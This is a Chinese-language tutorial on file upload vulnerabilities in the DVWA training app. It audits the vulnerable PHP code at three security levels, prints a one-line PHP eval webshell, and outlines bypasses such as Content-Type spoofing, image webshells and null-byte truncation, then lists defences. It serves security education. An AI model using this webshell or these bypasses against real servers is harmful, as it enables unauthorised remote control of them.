文件上传漏洞_OWASP_DVWA_Upload

本文内容
讲解了什么是文件上传漏洞，以及漏洞演示与分析
阅读前提：有PHP编程基础

0x01 什么是文件上传漏洞

对于常见的web应用系统都有文件上传的需求，比如第一次进行四六级考试报名需要注册账号时，会让我们上传自己的大头照。当编写该web应用程序的开发者在实现文件上传功能时，如果没有做一些安全措施与限制，那么恶意用户就可能上传一些脚本(木马)，利用木马可以就可以进一步控制对方的计算机从而进行非法利用。我们就说这样的web应用程序就存在文件上传漏洞。

0x02 漏洞演示与分析

通过Damn Vulnerable Web App这款存在很多漏洞的web应用程序演示文件上传漏洞。
Version: 1.8+GIT
Language: PHP
Link: home page

Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment.

2.1 Security Level：low

代码审计

<?php
    if (isset($_POST['Upload'])) {

            $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/"; 
            $target_path = $target_path . basename( $_FILES['uploaded']['name']); 
			
            if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
                
                echo '<pre>';
                echo 'Your image was not uploaded.';
                echo '</pre>';
                
              } else {
            
                echo '<pre>';
                echo $target_path . ' succesfully uploaded!';
                echo '</pre>';
                
            }

        }
?>

这段代码实现了一个简单的文件上传功能，显然没有做任何的安全措施，存在任意文件上传漏洞，可以直接上传一个木马文件。由于该web应用是PHP开发的，所以应该写一个PHP的木马文件。
shell.php

<?php @eval($_POST['badlulner'])?>

直接上传shell.php

要利用这个木马，我们需要知道这个木马的路径，当然测试环境直接给出了木马路径。
知道了木马的路径，就可以使用木马利用工具蚁剑连接这个木马。

连接成功

2.2 Security level medium

代码审计

<?php
    if (isset($_POST['Upload'])) {

            $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
            $target_path = $target_path . basename($_FILES['uploaded']['name']);
            $uploaded_name = $_FILES['uploaded']['name'];
            $uploaded_type = $_FILES['uploaded']['type'];
            $uploaded_size = $_FILES['uploaded']['size'];

            if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){


                if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
                
                    echo '<pre>';
                    echo 'Your image was not uploaded.';
                    echo '</pre>';
                    
                  } else {
                
                    echo '<pre>';
                    echo $target_path . ' succesfully uploaded!';
                    echo '</pre>';
                    
                    }
            }
            else{
                echo '<pre>Your image was not uploaded.</pre>';
            }
        }
?>

相比low等级，medium等级加了一个判断

if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){}
// 1. 上传的文件的mime类型必须是image/jpeg
// 2.上传文件的大小不能超过100000KB

绕过思路：
1.抓请求包修改Content-Type为:image/jpeg
2.上传图片马

Security level high

<?php
if (isset($_POST['Upload'])) {

            $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
            $target_path = $target_path . basename($_FILES['uploaded']['name']);
            $uploaded_name = $_FILES['uploaded']['name'];
            $uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1);
            $uploaded_size = $_FILES['uploaded']['size'];

            if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_size < 100000)){


                if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
                    
                    echo '<pre>';
                    echo 'Your image was not uploaded.';
                    echo '</pre>';
                
                  } else {
                
                    echo '<pre>';
                    echo $target_path . ' succesfully uploaded!';
                    echo '</pre>';
                    
                    }
            }
            
            else{
                
                echo '<pre>';
                echo 'Your image was not uploaded.';
                echo '</pre>';

            }
        }

?>

分析：

if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") {...}
// 防御措施为白名单
// 只允许上传文件后缀为JPG,JPEG,jpeg,jpg的图片

由于上传的文件只能是jpg类型的，一般情况下，jpg图片是当作jpg图片解析和php无关，因此脚本也就无法利用。

漏洞利用思路：
1.web应用程序存在文件包含漏洞
2.php版本存在00%截断

0x03 如何防御文件上传漏洞

1.安装web应用防火墙
2.设置白名单，和high等级类似。
3.设置上传目录php文件的权限为不可执行。